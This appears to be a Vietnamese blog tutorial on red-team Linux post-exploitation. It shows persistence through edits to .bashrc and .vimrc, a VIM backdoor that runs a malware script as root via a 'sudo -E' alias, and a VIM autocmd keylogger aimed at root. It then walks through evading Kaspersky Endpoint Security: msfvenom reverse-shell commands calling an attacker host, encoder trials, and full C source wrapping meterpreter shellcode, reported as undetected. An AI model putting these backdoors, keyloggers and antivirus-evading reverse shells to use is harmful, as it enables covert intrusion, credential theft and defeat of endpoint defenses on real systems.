+11

Kỹ thuật Post-Exploitation trong Red Team - Linux

Post-Exploitation luôn là quá trình tối quan trọng trong Kill-Chain của Red Team. Nó quyết định bạn phải làm gì tiếp theo sau khi đã chiếm quyền điều khiển thành công một máy chủ. Vài gạch đầu dòng dưới đây, sẽ giúp các bạn hình dung rõ hơn về kỹ thuật thú vị này

1. Tệp tin cấu hình

Trong hệ thống Linux, các ứng dụng thường lưu trữ các tệp cấu hình dành riêng cho người dùng.Đây được coi là những tệp tin đặc biệt có dấu chấm đằng trước tên. Những tệp này thường không hiển thị theo cách thông thường (ls) mà phải dùng câu lệnh đặc biệt ls -la

image.png

Các tệp tin cấu hình kiểm soát cách ứng dụng hoạt động đối với một người dùng cụ thể và thường thì chỉ người dùng đó hoặc root mới có thể ghi được. Nếu chúng ta xâm phạm hệ thống của một người dùng nhất định, chúng ta có thể sửa đổi các tệp cấu hình này và thay đổi cách chúng hoạt động. Là một Pentester,đây là một vector tấn công hữu ích.

Hai ví dụ phổ biến nhất của dotfiles là .bashrc.profile. Các tệp này thiết lập các cài đặt được sử dụng trong shell của người dùng và khác biệt giữa chúng ta tương đối nhỏ.

.profile được thực thi ngay từ khi đăng nhập ban đầu vào hệ thống (đăng nhập lần đầu vào máy, hay kết nối SSH) còn .bashrc được thực thi khi có một Terminal mới được khởi tạo

Chúng ta có thể sửa đổi .profile hoặc .bashrc để cài đặt các biến, hoặc run command khi người dùng đăng nhập lần đầu vào hệ thống. Điều này có thể hữu ích khi persistence, leo thang đặc quyền hoặc tham gia vào các hoạt động tấn công khác

Ví dụ:

lab@vpn:~$ echo "touch /tmp/bashtest.txt" >> ~/.bashrc

lab@vpn:~$ ls -al /tmp/bashtest.txt
ls: cannot access '/tmp/bashtest.txt': No such file or directory

lab@vpn:~$ /bin/bash

lab@vpn:~$ ls -al /tmp/bashtest.txt 

lab@vpn:~$ exit
lab@vpn:~$

Ở đây câu lệnh "touch /tmp/bashtest.txt" đã được thêm vào .bashrc và sẽ được thực thi ngay sau khi khởi chạy một terminal mới hay một session mới

1.1. Tạo Backdoor với VIM

Phần này chúng ta sẽ học cách sử dụng dotfiles của VIM text-editor để tạo backdoor tấn công người dùng

VIM editor là một text-editor được sử dụng rộng rãi trên Linux và được cài đặt mặc định gần như trên tất cả các hệ thống Unix/Linux. Nó nổi tiếng với nhiều chức năng và do đó, mang đến cho chúng ta nhiều tiềm năng để khai thác

VIM sử dụng tệp tin cấu hình với tên gọi .vimrc được đặt trong home directory của người dùng. Tệp này nhận các script-command và các cấu hình VIM khi người dùng khởi động nó. Bằng cách chỉnh sửa tệp tin này, chúng ta có thể khiến VIM của người dùng - thay mặt họ thực hiện các hành vi không mong muốn

image.png

Khi người dùng sử dụng VIM, command sẽ tự động được gọi ra

image.png

image.png

Theo mặc định, VIM cho phép các chạy các Shell command, nhưng trong một số trường hợp nhất định quản trị viên đã hardened để ngăn chặn điều này xảy ra. Chúng ta có thể sử dụng tùy chọn -Z để kiểm tra. Nếu không thành công sẽ xuất hiện một thông báo lỗi.

Ta dễ dàng nhận thấy command được "output" ra một cách chi tiết - rõ ràng, điều này là rất bất lợi cho quá trình tấn công. Để khắc phục điều này, ta có thể sử dụng :source để gọi command từ các file khác

image.png

image.png

Thời điểm này chúng ta vẫn chưa thấy ý nghĩa của việc này vì cơ bản chúng ta không có nhiều đặc quyền hơn. Những gì người dùng làm được thì chúng ta vẫn có thể tự thực hiện trên shell. Tuy nhiên nó sẽ hữu ích trong trường hợp chúng ta không thể thực hiện các hoạt động với tư cách root thông qua sudo vì chúng ta không có mật khẩu người dùng

Cách VIM xử lý các tệp cấu hình của nó (với người dùng sudo) tùy thuộc vào bản phân phối. Trong các bản phân phối Ubuntu hay RedHat VIM sử dụng .vimrc hiện tại ngay cả khi sử dụng sudo , còn trong Debian nó sẽ dùng .vimrc của root

Ví dụ khi ta đã chèn được Malware vào .vimrc trong /home/hoanguye/.vimrc , thì trên Ubuntu/RedHat khi khởi chạy sudo vim file này sẽ được thực thi. Còn trên Debian nó sẽ tìm tới cấu hình /root/.vimrc , do đó file này sẽ không được chạy

Trong trường hợp này, Malware.sh đã được ghi vào .vimrc - khi người dùng khởi chạy Vim (với sudo trên Ubuntu/Debian) câu lệnh sẽ được thực thi với quyền root

image.png

Đó là trên Ubuntu hay RedHat , còn trên hệ thống khác như Debian, người dùng phải chạy sudo -E vim thì khi đó .vimrc của chúng ta mới được thực thi. Thay vì để người dùng tự gõ, ta thực hiện set alias trên máy thông qua .bashrc

alias sudo="sudo -E"

Lúc này , khi người dùng thực thi với sudo , cấu hình .vimrc độc hại của chúng ta sẽ được khởi chạy.

1.2. Tạo Keylogger với VIM

Như đã đề cập từ trước đây, chúng ta có thể sử dụng các câu lệnh khác nhau ghi vào .vimrc của VIM để thực hiện các hành động khi người dùng khởi động hoặc trong phiên chỉnh sửa. VIM cung cấp cho Hacker xác định các hành động sẽ được kích hoạt khi thỏa mãn các điều kiện (if else) , điều này được thực hiện thông qua autocommands.

Một số "sự kiện" có thể kể tới như VimEnter ( nhập VIM) , VimLeave (rời khỏi VIM) , FileAppendPre (trước khi gắn vào tệp), BufWritePost có thể cung cấp các cách kích hoạt khác nhau để thực hiện các hành động có thể có lợi cho kẻ tấn công.

Ví dụ ta có

:autocmd BufWritePost * :silent :w! >> /tmp/keylog.txt
  • autocmd : Xác định rằng chúng ta đang định nghĩa một command tự động
  • BufWritePost: Kích hoạt sau khi bộ đệm được ghi vào một tệp
  • "*" : Chỉ ra hành động này sẽ thực hiện với tất cả các file ( chúng ta có thể thay đổi đẻ chỉ định một extension cố định hay một tên tệp cụ thể)
  • :silent : không hiển thị khi người dùng khởi chạy VIM
  • :w! : Lưu nội dung Buffer
  • /tmp/keylog.txt : Nội dung sau khi lưu trữ

hx5Screenshot_6.png

Ở đây ra thấy thằng, tất cả những gì người dùng lưu !w đểu bị ghi lại, còn trong trường hợp người dùng chỉ mở file ra xem rồi quit !q thì keylog của chúng ta sẽ không ghi nhận được (do không có hành động BufWritePost)

Tuy nhiên trường hợp này dễ dàng chúng ta thấy. keylog sẽ ghi lại toàn bộ VIM của tất cả người dùng, điều này làm khả năng xác định tính chính xác khó khăn và đôi khi là không cần thiết. Do đó chúng ta có thể sử dụng if-else để chỉ định "lưu lại" command của một người dùng được chỉ định

VIM hỗ trợ cú pháp if-else đơn giản như sau

:if <some condition>
:<some command>
:else
:<some alternative command>
:endif

Thực hiện việc detect và lưu lại bộ gõ của tài khoản root ta có

:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif

kDFScreenshot_7.png

2. Bypass Anti Virus

Kaspersky Endpoint Security là phần mềm diệt virus hoạt động trên nền tảng Linux của Kaspersky - một công ty nổi tiếng thế giới trong lĩnh vực phòng chống mã độc.

Trong phần này, chúng ta sẽ tìm hiểu cách bypass nó để thực thi mã độc hại.

2.1. Cài đặt Kaspersky Endpoint Security

Step 1. Truy cập https://www.kaspersky.com/small-to-medium-business-security/endpoint-linux

Step 2. Tải phiên bản thích hợp và thực thi

sudo dpkg -i kesl_11.1.0-3013_amd64.deb

Step 3. Chạy file cấu hình

sudo /opt/kaspersky/kesl/bin/kesl-setup.pl

image.png

2.2. Bypass Kaspersky Endpoint Security

Theo mặc định, Kaspersky Endpoint Security cho phép bảo vệ theo thời gian thực. Để quá trình tạo payload diễn ra thuận lợi, chúng ta cần vô hiệu hóa tính năng này

Nếu chúng ta không tắt tính năng này,các tệp malware của chúng ta sẽ bị xóa ngay lập tức khi tải xuống hay truy cập - trong tương lai, chúng ta sẽ tiến hành scan thủ công

image.png

Đầu tiên, chúng ta sẽ tìm kiếm và kiểm tra EICAR test file trong /opt/av/eicar.txt

Đây là tệp tin mẫu, để các AV xác định mã độc . Trong quá trình thử nghiệm nếu tệp bị xóa, chúng ta có thể tái tạo lại bằng cách sử dụng lệnh sau

sudo gpg -d eicar.txt.gpg > eicar.txt

hoặc tải về tại đây

Tiến hành scan với Kaspersky Endpoint Security

sudo kesl-control --scan-file ./eicar.txt

Mã độc hại bị phát hiện và tiêu diệt

image.png

Để xem lại log , chúng ta có thể sử dụng truy vấn sau

sudo kesl-control -E --query | grep DetectName

image.png

Thử lại với các payload thông thường từ Metasploit Framework

Trường hợp 1. Tạo mã độc với msfvenom theo cách thông thường và sử dụng Kesl để scan

 msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf

image.png

sudo kesl-control --scan-file shell.elfthực

Mã độc hại bị phát hiện và tiêu diệt !

image.png

Trường hợp 2. Tạo mã độc với msfvenom "x86/shikata_ga_nai" và sử dụng Kesl để scan

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > shell.elf

image.png

sudo kesl-control --scan-file shell.elf

Mã độc bị phát hiện và tiêu diệt !

image.png

Trường hợp 3. Tạo mã độc với msfvenom "x64/zutto_dekiru" và sử dụng Kesl để scan

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x64/zutto_dekiru -f elf > shell.elf

image.png

sudo kesl-control --scan-file shell.elf

Umm!!, phần mềm đã không nhận dạng được đây là mã độc hại

image.png

Tiếp cận theo cách "bán thủ công"

Tạo Shellcode với msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f c
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\x0a\x94\x00\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

#include các thư viện trong C

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

hàm main()

int main (int argc, char **argv) 
{
	// Run our shellcode
	int (*ret)() = (int(*)())buf;
  	ret();

}

Hàm main() nhận 2 đối số, 1 số nguyên gọi là argcargv

Chương trình đầy đủ

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x1f\x90\x0a\x94\x00\x02\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main (int argc, char **argv) 
{
	// Run our shellcode
	int (*ret)() = (int(*)())buf;
  	ret();

}

Biên dịch với gcc và kiểm tra mã độc với Kesl

gcc virus.c -o virus.out -z execstack
chmod +x virus.out 

image.png

Bypass thành công, tiến hành thực thi payload

image.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí